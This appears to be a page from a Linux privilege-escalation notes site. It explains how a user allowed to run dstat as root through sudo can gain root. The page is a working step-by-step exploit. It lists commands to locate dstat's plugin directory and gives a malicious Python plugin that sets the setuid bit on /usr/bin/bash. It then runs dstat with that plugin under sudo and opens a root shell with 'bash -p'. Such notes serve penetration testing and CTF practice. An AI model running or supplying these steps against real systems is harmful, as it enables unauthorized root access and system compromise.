> For the complete documentation index, see [llms.txt](https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/sudo-dstat-privilege-escalation.md).

# Sudo Dstat Privilege Escalation

**dstat** is a versatile tool for generating system resource statistics.\
It allows users to create a custom plugin and execute by adding option e.g. **`dstat --myplugin`**.

### [Investigation](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-dstat-privilege-escalation/#investigation) <a href="#investigation" id="investigation"></a>

```sh
sudo -l

(ALL) NOPASSWD: /usr/bin/dstat
Copied!
```

If we can execute **"dstat"** command as root, we can gain access to privileges by using our malicious plugin.

<br>

### [Exploitation](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-dstat-privilege-escalation/#exploitation) <a href="#exploitation" id="exploitation"></a>

#### [1. Create a New Dstat Plugin](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-dstat-privilege-escalation/#1.-create-a-new-dstat-plugin) <a href="#id-1.-create-a-new-dstat-plugin" id="id-1.-create-a-new-dstat-plugin"></a>

First off, find locate the **"dstat"** directory.

```sh
find / -type d -name dstat 2>/dev/null
Copied!
```

Assume the location of dstat is **“/usr/local/share/dstat”**.\
Create a plugin called **"dstat\_exploit.py"** under **"/usr/local/share/dstat/"**.

```sh
import os

os.system('chmod +s /usr/bin/bash')
Copied!
```

dstat recognizes plugins under **"/usr/local/share/dstat/"**.\
Check if the above exploit plugin has been added by executing the following command.

```sh
dstat --list | grep exploit
Copied!
```

#### [2. Execute Dstat with the Malicious Plugin](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-dstat-privilege-escalation/#2.-execute-dstat-with-the-malicious-plugin) <a href="#id-2.-execute-dstat-with-the-malicious-plugin" id="id-2.-execute-dstat-with-the-malicious-plugin"></a>

Now execute **"dstat"** with **“—exploit”** flag (the flag name is determined by the suffix of the file name e.g. **"dstat\_\<plugin-name>.py"**).

```sh
sudo /usr/bin/dstat --exploit
Copied!
```

The exploit plugin executed so we enter bash as root.

```sh
bash -p
```